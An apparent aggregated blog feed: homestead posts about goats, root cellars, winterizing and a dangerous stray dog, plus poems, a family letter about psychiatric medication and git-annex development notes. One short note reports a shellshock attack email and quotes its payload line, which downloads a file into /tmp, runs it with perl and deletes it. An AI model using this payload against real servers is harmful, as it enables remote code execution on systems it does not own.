mark (Anna and Mark: Waldeneffect)
Goat gate upgrade
goat gate upgrade

Why am I adding a bottom slat to our new goat gate?

It turns out Artemesia can squeeze through an opening only a few inches wide.

I don't think she was trying to run away, she just wasn't ready to be tucked in.

Joey chatter

There are some really funny bits buried in the tedium of it all. A great overheard conversation from guys in the seat behind about greek yogurt and spoons and the difficulty of balancing creative expression with making money.

But the best part is the stretches where nothing happens. The mannequin hand is fumbling with the seat back latch tab, flipping it back and forth aimlessly, for 20 minutes. The only available freedom of movement. BTDT.

You find yourself desperately trying to find a distraction. The film runs in the background, impinging on your awareness just enough that you can't entirely concentrate on anything.

Anna (Anna and Mark: Waldeneffect)
Homestead winterization list

Draining the rain barrelYour first frost has come, or it's due any day, and you're probably ready for winter's slowdown. But taking a few hours now to get your homestead in order will save a few days in the spring. Here are the items at the top of our winterizing list this fall:

  • Drain and put away hoses.
  • Drain rain barrels and return gutter water to the ground.
  • Run your mower and any other summer-only motorized equipment dry. This will make engines start much better come spring!
  • Pull up and put away tomato stakes and other garden supports. Discard those old, blighted tomato plants somewhere far away from the garden.
  • Wait until the leaves drop, then wrap fig trees and other plants you're trying to grow beyond their usual hardiness range.

Cover crops

  • Plant any bare ground with cover crops if you've got time. (I'll plant rye for another week or so, but only in areas that I won't want to plant into until late May 2015.) If it's too late in the year for cover crops, mulch heavily, preferably with deep bedding from the chicken coop so the manure will have time to mellow before spring.
  • Kill mulch new garden areas for next year.

Overgrazed pasture

  • Cull excess animals and move chickens off pasture. We let ours run in the woods during the down season, but others move their poultry into greenhouses. Tractored chickens can be kept on pasture over the winter, but you'll tear up the ground a bit. Four-legged livestock can be put on stockpiled pasture, or can be moved inside onto deep bedding. The photo above shows what will happen if you skip this step...and that's after the ducks were only on an overused pasture for one extra week!
  • Reward yourself for all this extra effort by ordering any new perennials you have planned for fall planting. Ah, dreams of apples and hazels....

I'm sure I'm forgetting some essential winterizing elements, but that should get you started. What else is top of the list at this time of year on your homestead?

Joey chatter


"We're really gonna go ahead and limit the number of announcements, to let you guys get a little shut-eye before we land."


"By the way, um, we have handed out blankets. We are out of blankets."

Extended Facebook comment on purse carrying

I sometimes carry four or five bags.  I don't call them purses.  I read these comments wishing people were talking about why, the deep  meaning behind their purse toting or refusal.  I remember when my sister started being of age to have her period, and I was still a spitting tomboy.  She bled and I spit, so I guess we made quite the pair.  We seemed to toss back and forth the embodiment of feminism, I believe.  First when we played I ended up being the princess and she was the interesting stable boy.  :)  When she started menstruating, she refused to bring the convenient bag all the other girls brought with them to school.  Our heroic older sister came and told her all about how girls don't have to shave either and about the neat cloth sanitary pads, for the sake of reusing.  I became the girl soon, the "girly girl".  But funny as it is, I looked at all the purses and I said no way!  If I carry a bag for my stuff it is going to be a cool bag, without glitter.  And pink is beautiful, just as is wool for a purse.  Basically I got to make my own rules because of the pressures I saw my sister experience.  But then I met a girl I had a crush on and my sister got married.  I cut my hair short, and with the easy unshaved option that I had come to long ago, that was the next phase for me.  I pretty much am just into men now I think, but my hair or my bag don't exactly react to that.  I don't want to change myself to meet other people's expectations.  But I am interested in what other people think it really means for a woman to carry a purse or not to.  However my friend Heather was just observing that a high percent of women near her do carry purses.  So if that is true it must mean something.  Also, what about the men who want a shoulder bag, a clutch, or a purse?  What do they say?

Goodbye Earth

On the runway

I whisper an adieu

knowing what Earthlings all know,

I'll be here again

on the snug bumpy back

of Tierra.

Yet for this second

I allow air

to gather my pieces.

We feel the tires take off,


Like a diamond in the sky.


One static assurance,

a face,


thank God not a tunnel of light.


We are of the clouds now.

We cloud.

Maybe you are under foot

tremoring with joy,

pointing to our body 

high above

to a child.

Joey chatter

Pretty sure not postfix! ;)

Joey chatter

Received email message that attempted to exploit shellshock bug. Manually joined the attacker's CNC irc channel, and it seems at least 2 mail servers were actually successfully exploited this way.

Subject: () { :; }; cd /tmp ;curl -sO;lwp-download;fetch;perl ex.txt;rm -fr ex.*;
Anna (Anna and Mark: Waldeneffect)
A dangerous dog

Bad dog(Don't worry, no animals were actually harmed during the creation of this post.  I know I just ruined the dramatic impact of the story, but I couldn't have kept reading without that warning, so there you have it.)

Wednesday morning, Mark and I were supposed to go to the big city to get our teeth cleaned. Instead, we had to wrap our minds around the possibility of killing a dog.

Over the eight years we've lived way back in the woods, we've had only a handful of uninvited human visitors (good job, moat!), but nearly an equal number uninvited hunting dogs.  It seems like when hunting dogs get lost, they can feel Mark's good dog energy, and they come wagging their tails at our door.

Unfortunately, the two dogs I found beside the chicken coop Wednesday morning weren't wagging their tails.  One was sweet and submissive, but when I went to put a leash on her, the other dog growled and rushed at me with bared teeth.  Only standing tall and yelling with my voice in its deepest possible register prevented me from getting bitten, and I quickly retreated out of harm's way.

Good dogLuckily, the sweet dog had an owner's number on the collar, and I was able to catch his girlfriend on the phone.  She said her boyfriend was unreachable on a construction site, but she and her father would be right over.  We tied up Lucy just to be on the safe side, called the dentist to say we would be late, then settled down to wait.

When I finally heard the voices, father and daughter were fleeing up the floodplain away from the dog.  "He's never acted like that before," the girlfriend said, tears slipping out of her eyes.  Her father explained that he'd gone to put a leash on the dog, but had gotten bit for his trouble.  The teeth hadn't broken his skin, but the father still told us: "If you have to do something to protect yourselves or your animals, we'll understand."

We knew what he meant --- shoot the dog.  The trouble is, while we can be hard-hearted about chickens, dogs are people to us.  Did I ever mention that my brother once turned off Old Yeller partway through, telling me that was the end, because he knew what was coming and didn't want to have to soothe a grief-stricken sister?  Killing a dog in real life seems nearly unthinkable.

Preparing guns

But, as Mark pointed out after the dog's owners left, we also have a responsibility to our own chickens, goats, cats, and dog.  The biting dog had been lost in the woods for two days, and whether that was long enough for something like rabies to turn up or not, we had to protect the farm.  So we called the dentist once again to cancel, and then Mark went around checking on the state of our guns.  We didn't plan to do anything drastic while the dogs were simply resting at the edge of our core perimeter, but if they went after something, Mark resolved to shoot first and ask questions later.

Luckily, as I mentioned above, this story has a happy ending.  The dog's real owner couldn't be tracked down, but his hunting buddy could.  The young man showed up with a heavy stick, which he thrust into the dog's jaws as it came after him.  And as soon as the man snapped a leash onto the dog's collar, the canine calmed right down.  It turned out that the submissive dog was in heat, and the other dog was merely guarding his territory, but a calm, familiar face was enough to defuse the situation.  In the end, both dogs went home safely.

The moral of the story?  Have friends good enough to face down a possibly rabid dog to save man's best friend.  Or, maybe, have guns on hand to protect your homestead from four-footed beasts.  I'm not sure what I took away from the experience, actually, except for an overwhelming urge to sit in front of a fire with a cat on my lap, sipping some hot chocolate.  But I will be more cautious the next time I approach a strange dog...because hunting dogs sometimes bite.

Joey git-annex devblog
day 228 new AWS

New AWS region in Germany announced today. git-annex doesn't support it yet, unless you're using the s3-aws branch.

I cleaned up that branch, got it building again, and re-tested it with testremote, and then fixed a problem the test suite found that was caused by some changes in the haskell aws library.

Unfortunately, s3-aws is not ready to be merged because of some cabal dependency problems involving dbus and random. I did go ahead and update Debian's haskell-aws package to cherry-pick from a newer version the change needed for Inernet Archive support, which allows building the s3-aws branch on Debian. Getting closer..

mark (Anna and Mark: Waldeneffect)
Goats on the loose
goats on the porch

Today makes the 2nd goat escape so far.

How bad are they when they get out?

Not that bad...Artemesia yells a bit, but they seem fine once we tuck them back in.

Anna (Anna and Mark: Waldeneffect)
Goats cleaning off a fenceline

Goats cleaning up a fencelineI was a bit disappointed by our goats' inability to eat a thicket of weeds to the ground, but I've been thrilled at how well they do at cleaning honeysuckle off our fencelines.  Every evening, after walking the girls back to their coop, I move five cattle panels into a new arrangement to prepare for the next day.  Two panels lean up against the honeysuckle-covered fence, and the other three (and two fence posts and a bit of rope) complete the enclosure.

The next morning when I bring the goats to their new pasture, Abigail runs right for the honeysuckle and Artemesia soon follows suit.  They gorge for a couple of hours, then chew their cuds, then gorge again.  By dinnertime, that side of the fence is bare of honeysuckle leaves (although some stems remain, proving that the goats will have to regraze the same areas next year).

Honeysuckle on the fence

For the sake of comparison, the photos above show yesterday's fenceline (left) and the edge of tomorrow's fenceline (right).  After reading that honeysuckle leaves are equivalent in protein and total digestible nutrients to alfalfa hay, I can understand why our girls do such a good job removing the wily vine.

Goat eating cattails

Back when I was just reading about goats, I hadn't planned to let our new livestock within our core homestead.  In fact, I was going to keep them at least two fences away just in case the tame deer (which is how I thought of them) escaped and headed for my precious apple trees.  Now I'm thinking that maybe I overreacted.  The only goat escape from my cattle-panel tractors has been when I didn't tie one panel securely and our little doeling slid out through the gap...then grazed right beside the fence until I put her back in.

Now I'm thinking that goats are like chickens --- they don't want to put in the energy to escape as long as you keep them fat and happy.  The big question becomes: Can we keep the honysuckle buffet coming all winter?  Only time will tell!

mark (Anna and Mark: Waldeneffect)
Pool of newt
close up of cute newt

We used a kiddie pool for the ducks when we first got them, but it mostly got used as a place for frogs to meet and mate this year.

Dumping the pool was bad news for a bunch of late tadpoles, but we managed to transfer the above cute newt to the Sky Pond for his new Winter home.

Joey chatter

I remember compiling minix on one of these! Only for fun, as I was using linux on pentiums already at the time.

Joey chatter

Actually, the LHC has a safety feature that involves diverting the beam at a rock formation under a mountain if they need to dump it in an emergency. It is a death ray at that point; just one carefully aimed.

I was amused during our tour of CERN when someone had really specific questions about the engineering of that, down to the ms.

Anna (Anna and Mark: Waldeneffect)
Pros and cons of a fridge root cellar

Opening a fridge root cellar

"Would you mind putting up an article about the pros and cons of making and using your Fridge Root Cellar?" --- John

This is a very timely comment because many of you are probably trying to figure out what to do with all of those root crops (and fall fruits).  I'll hit the highlights in this post, but if you want to dig deeper, I've also set my ebook version on sale to $1.99 this week so you can learn the rest of the story for very little cash.  (I guess that would turn your replica into a $12 root cellar?)  And while you're over there, you'll probably want to snap up Low-Cost Sunroom, which is free today!

Humid conditions within a root cellar
Anyhow, back to the point.  The advantages of our fridge root cellar are pretty obvious.  It was cheap and easy to build and it really works.  I particularly love how accessible the contents are --- the cook in your family will be thrilled to be able to just pop open the door like you would in a powered refrigerator and remove a few carrots or a head of cabbage.  And the dampness of the earth means that your roots stay crisp and delicious for months after harvest.

Keeping a root cellar from freezing with a light bulb
$10 Root CellarThe downsides are relatively minor, but they are present.  We use a very small amount of electricity to ensure that the contents of our fridge root cellar don't freeze when outside temperatures drop below the mid-teens Fahrenheit.  If you lived in Alaska, you'd probably have to do a lot more.  And a fridge root cellar won't do much during the summer months, so you'll need a different storage method for your spring carrots.  (I just stick them in the real fridge inside.)  Finally, youtube viewers will call you white trash if you post a video showing how to build a fridge root cellar, and your neighbors might feel the same way, so this project is not for the thin-skinned.

I hope that helps you make your fridge-root-cellaring decision!  And I'd love to see some reader photos of your own incarnations of the cheap root-storage device if anyone's given our method (or something related) a try.  Email me at and I'll share your root cellars with our readers (and maybe even add them to the next edition of the book if they're unique enough!).

Melanie, an homage

There was a girl who she changed my life

she rapped like a woman,

cooking spite mushroom casserole

teaching me whiskey.

Together we went to school,

faced farmers market 

near empty of pockets

loved men with the same name.

She struggled 

to get her daughter 

to school on time,

but she gave me lifts abundant.

I wasn't entirely worth 

her warm cozy sister friendship.

She dressed hip 

and sassy.

She wore my kind of clothing

much more stylishly.

Her daughter said I was 

her only "not weird" friend.

Of course we might meet again.

But people like my friend

remind me of how short it all is.

Even the struggle

waiting at the food stamp office.

If you've got a friend,

hold on tight,

and don't by any means let go.

Joey git-annex devblog
day 227 info

Today, I've expanded git annex info to also be able to be used on annexed files and on remotes. Looking at the info for an individual remote is quite useful, especially for answering questions like: Does the remote have embedded creds? Are they encrypted? Does it use chunking? Is that old style chunking?

description: demo remote
uuid: 15b42f18-ebf2-11e1-bea1-f71f1515f9f1
cost: 250.0
type: rsync
encryption: encrypted (to gpg keys: 7321FC22AC211D23 C910D9222512E3C7)
chunking: 1 MB chunks
remote: ia3
description: test [ia3]
uuid: 12817311-a189-4de3-b806-5f339d304230
cost: 200.0
type: S3
creds: embedded in git repository (not encrypted)
bucket: joeyh-test-17oct-3
internet archive item:
encryption: not encrypted
chunking: none

Should be quite useful info for debugging too..

Yesterday, I fixed a bug that prevented retrieving files from Glacier.

What I wrote my family about health

Hey everyone,

I have been seeing a psychiatric doctor in Bristol who actually is young and sharp and holistically concerned, with both mind and body. (Dr. Coleman)
The background for the short news is I asked her today if I ever would be advised to go off my meds, understanding that they are a forever thing, but with also the understanding that things change and my recent loss of eleven pounds from persistent swimming indicates exercise that is equal to antidepressants. (one sentence?) I am on three meds: Abilify that treats psychosis, Depakote for moods, and Trihexiphenidol for parkinsonial like tremors that could easily turn into tardive diskinesia. According to Dr. Coleman bipolar people, who are not schizoaffective, which I think is a subcategory?? of bipolar who have pasts with psychosis, but who don't have that now... (me) can taper off their antipsychotic medications. Because I am stable and not psychotic, as long as I dont have a Manic episode, I will not have psychosis. According to Dr. Coleman bipolar people like me can have had psychosis and reach a level of stability that will not reverse. I can go off my Abilify and if that works, I can quit Trihexiphenidol too! It's my choice. Come January, I get the right to do that under doctor's orders if I want. :) That is how good my questions are I guess.Now all of you know me differently and know bipolar disorder in different ways. Some of you think I get manic, but I know that is hypomania, lesser mania. Some of you haven't seen me for a long time and know a different version of who I am. I think I am doing this, come January, going off 2 of my meds with the supervision of a good doctor. Maybe I could have five years ago. Anyway. What can you do? In January and the following months, be on the lookout for real psychosis in me. Not the typical stuff we all have, minor paranoia or even hypomania. But if you really want to help, let me know if I am seeming psychotic.Encouragement is always better medicine than complaining. I did mean to say that Dani should have power of attorney over me, if that is correct wording. Onward and upward. Every moment is our last, people. Have faith.Love,

Anna (Anna and Mark: Waldeneffect)
Late-fall cover-crop observations
Yellow jackets on fava beans

I've been noticing little snippets of cover-crop observations lately, none of which is quite enough to make its own post.  But maybe you won't mind a hodge podge.

The photo above shows how the yellow jackets are swarming around unopened fava-bean buds.  I assume they're stealing nectar somehow, a bit like the ants I noticed on okra flowers a few years ago.  Presumably unrelated to the yellow jackets, our fava beans have been blooming for weeks, but keep dropping the ovaries without setting fruit, so they might not be a good edible in our location after all.

Cutting oats for goats

Then there's the observation two of you made in comments, that the puny fava beans between my sunflowers are due to allelopathy.  I hadn't realized that sunflowers were allelopathic, but the internet suggests that is indeed the case, and that water dripping off sunflower leaves can carry chemicals that make surrounding plants do poorly.  I guess sunflowers aren't the best candidate for multi-species cover-cropping campaigns!

My last observation is four-footed.  Goats love oat leaves so much that I've been earmarking a large proportion of that cover crop for goat treats.  I can't help it!  I know the soil loves oat biomass too, but when Artemesia blats at me, I give in and provide any treat I can think of.  In case you're curious, my ability to spoil animals is nearly unparalleled....


I do not suggest you worry.

You should not worry 

because I love you

and that is worth enough 

that you should be satisfied.

You deserve joy.

You deserve happiness,

bad jokes,

pizza from the stinky hollow chambers

of a rusted dumpster.

So don't focus on worry.

Focus on that joy,

the long haul happiness

of knowing you are a protector of mountains.

Love every inch of your body too.

Even where the pizza accumulates as it will.

Know deep in you

you are worth

all of this hope.

Anna (Anna and Mark: Waldeneffect)
Not quite tasting the first Celeste fig
Celeste fig

The first figs on our Celeste bush started turning maroon a couple of weeks ago, and ever since I've been waiting with baited breath, hoping to taste a new fig variety.  Unfortunately, cool weather has slowed down ripening considerably, and the only summer plants that are still bearing like crazy are our red raspberries.  The Celeste fig seemed to be stuck halfway ripe.

Ripe and unripe figs

With another potential frost forecast, I decided to see if those Celeste figs were tasteable.  I plucked the fruits off the bush, cut them open...and was disappointed to see colorless flesh inside.  Unlike most fruits, the telling color-change on a ripening fig occurs hidden inside --- in the photo above, the fig on the left is a ripe Chicago Hardy fig for comparison.  I guess we'll have to wait until next year to taste a ripe Celeste fig!

In the meantime, I should note that despite last winter's cold killing our Chicago Hardy plant to the ground, we've still enjoyed perhaps a gallon of figs this year.  That harvest doesn't hold a candle to last year's bounty, but it's not bad for a tree that started from the ground up this spring!


A seashore can be very peaceful

especially in the dim light 

up in a dune campsite

B4 and B9.

Some sketch outline

a toe

has left behind.

Peace, peace, peace.

Until the wind picks up a notch

and blows out that light.

One, Zero, One

The frost is around the bend.

I was out in the garden,

bent over to gather the peppers

and green tomatoes.

Finally ready I propped up

Buddha statue 

who had been

flat on his back

since Pickle's death.

I dug up four jades,

helping my mother

pop them in their winter homes.

Everything is once.

In the garden that's obvious,

pulling up tomato plants 

that volunteered on Pickle's grave.

Joey chatter

I run unstable on most of my servers, with automatic daily upgrades. Caution? What's that? :)


I've been feeling a stillness on my sails

Until yesterday I gobbled up these moments with my orphan dogs.

I lost ten pounds living a healthy lifestyle here

But I cannot just be tame and skinny.

Sometimes I have to jump from this deck

Collecting poems with my sun tanned fingers.

To be a poet, to come back home, 

I have to fly away for a while.

Anna (Anna and Mark: Waldeneffect)
Free-choice goat minerals
Goats eating oats

When you start providing livestock with free-choice minerals, suddenly the options become a bit overwhelming.  We've narrowed our goats' selections down to:

  • Goat mineralsa pre-mixed goat mineral
  • kelp (for extra trace minerals)
  • table salt (iodized or noniodized is debatable.  We add the extra salt because we chose a mineral mix that's only 11% salt, but you should be aware that some people believe you shouldn't provide additional salt since it might prevent your goats from eating enough of the pre-mixed minerals.  If you do opt for additional salt, sea salt would be a better choice, although more expensive.)
  • baking soda (as a safety valve in case our goats' rumens get out of balance due to eating grain)

Some goat-keepers also provide:

  • Browsing goatnutritional yeast (aka brewer's yeast, for extra protein.  This is more often mixed with a processed feed that provided free choice, though.)
  • Diamond V XPC Yeast Culture (as a probiotic.  This is generally mixed with feed rather than being put out for free-choice eating.)
  • diatomaceous earth (for internal parasite control, although data suggests this may not actually do any good when taken internally)

And if you're worried about your soil being particularly deficient in one or two minerals, presumably you could provide those nutrients free choice as well if you weren't worried about overconsumption.  This last option might hypothetically help remineralize your soil...or you might just end up with a very healthy dog if your canine, like ours, runs along behind the goats to slurp up their "berries."

More cute goats
I'll close with two extra goat shots...because they're cute.  And getting fatter?

Anna (Anna and Mark: Waldeneffect)
A potential homestead in Castlewood, Virginia
Hay field
Old house and pond
Logging road

A friend of a friend is selling some land about twenty minutes from our farm, and I promised to spread the word in case any of you were interested.  It's priced at a thousand bucks an acre and has a lot of potential, full of ponds, forested mountain-land, and open fields.  There's an electric hookup on site and spring water piped down to an old house, plus logging roads make for relatively easy access.  Here's the Craigslist ad for more information.

Livestock pond

At 177 acres, the property has the potential to be bought by several homesteaders and managed as an eco-village or education center.  Or, perhaps more realistically, if two or three homesteading families went in on the property together, you could share the land without anyone digging their financial hole too deep.  If you're interested in these shared options, leave a comment below and chat with each other --- it would make my day if several of our readers got together and relocated nearby!

Joey chatter

Apple sauce with quince, no sweetening. So sour, so yum.

Anna (Anna and Mark: Waldeneffect)
Harvesting carrots in the rain

Harvesting carrots in the rainLast year, I wrote that I dug our carrots early.  And this year...I dug them even sooner.  All this rain made a couple of my cabbage heads split over the weekend, and I know that carrots are prone to the same ailment.  I'd rather get those orange roots out of the ground before problems arise.  They probably wouldn't grow too much bigger over the next week or two anyway since many were already heftier than store-bought!

The downside of this fall's carrot harvest is that it's much smaller than in years past.  I dropped the ball and didn't replant after a dry spell caused sporadic carrot germination in July.  Then the straw I mulched with (which was supposed to be weed-free, since it was the second round from the feed store) sprouted scads of little grain plants.  As a result, carrots were getting lost in the sea of cover crops, and I opted to pull the vegetables out before they completely disappeared.

Of course, half a bushel of carrots is nothing to sneeze at.  And, if I'm honest, I would admit that I actually grew twice as many as we wanted last year --- Mark was getting heartily sick of carrot sticks before the winter ended.  Our fridge root cellar will keep the carrots we did grow this year crisp and sweet deep into the winter, and next year we'll plant many more to feed the goats.

Joey git-annex devblog
day 224-226 long rainy slog

3 days spent redoing the Android autobuilder! The new version of yesod-routes generates TH splices that break the EvilSplicer. So after updating everything to new versions for the Nth time, I instead went back to older versions. The autobuilder now uses Debian jessie, instead of wheezy. And all haskell packages are pinned to use the same version as in jessie, rather than the newest versions. Since jessie is quite near to being frozen, this should make the autobuilder much less prone to getting broken by new versions of haskell packages that need patches for Android.

I happened to stumble over while doing that. This supports setting and unsetting environment variables on Windows, which I had not known a way to do from Haskell. Cleaned up several ugly corners of the Windows port using it.

Joey chatter

A partially shaven yak is a sad yak. Unless you're going for the poodle yak look.

Conflict Transformed

Conflict is the edge of the waterfall

look here,

where safe we are on the other side.


I've seen the sword of conflict murder innocence.  I have seen conflict do harm; I want nothing of that.  I've also seen conflict bring true joy. I've eaten its yolk for breakfast. 

Anna (Anna and Mark: Waldeneffect)
Goats eating weeds
Goat tractor
"So, basically, you have two weedcutters now?" --- Roland

You got it!  Cleaning up weedy edges has been one of the major selling points of goats, and I was excited (after the rain finally let up) to see how our girls would fare in that department.  To that end, I made a temporary pasture using six cattle panels, encircling a roughly 650-square-foot problem area.  This spot is where the old house used to stand, and where blackberry brambles and honeysuckle have since taken over the decaying wood.  Could Abigail and Artemesia help us with this thorny problem?

High weeds"Glad to!" they chorused.  The top photo shows the area a day and a half after goat action began, at which point I was already starting to be able to see wood rather than simply a huge thicket of weeds.  In contrast, the photo on the right is the before shot, taken moments after our goats were let into the pasture on their first day.  Our girls enjoyed the browse so much that I had to bribe them with a little sweet corn Tuesday evening before Abigail would let me put on her leash for the walk back to the starplate coop.  (I've learned that Artemesia doesn't need her own leash --- she just trips along behind.)

The bad news for those of you who are itching to go out and get goats is --- I don't think our girls are going to take the weeds down to the ground.  They're so good at carefully plucking the leaves off the stems that the blackberry brambles and honeysuckle vines are still left standing even after the girls are done eating.  Perhaps in the dead of winter, when pickings are slimmer, our goats will be more prone to do a total rehab on a weedy spot like this, but I suspect we'll instead be sending Mark in with the Swisher to bring this area back under human control.  I guess that's why we got two weedcutters, right?

mark (Anna and Mark: Waldeneffect)
Goat gate
new goat gate with Lucy

We finished our first goat gate today.

I used 2x2's for the frame to keep it light and treated furring strips for the slats.

Joey chatter
laundry selfie

Sneedville is a true one horse town, in fact it's not unusual to pass a youth riding a horse, often bareback, in the road here.

Sometimes it feels a lot like the wild west buried in the middle of the eastern Appalachians.


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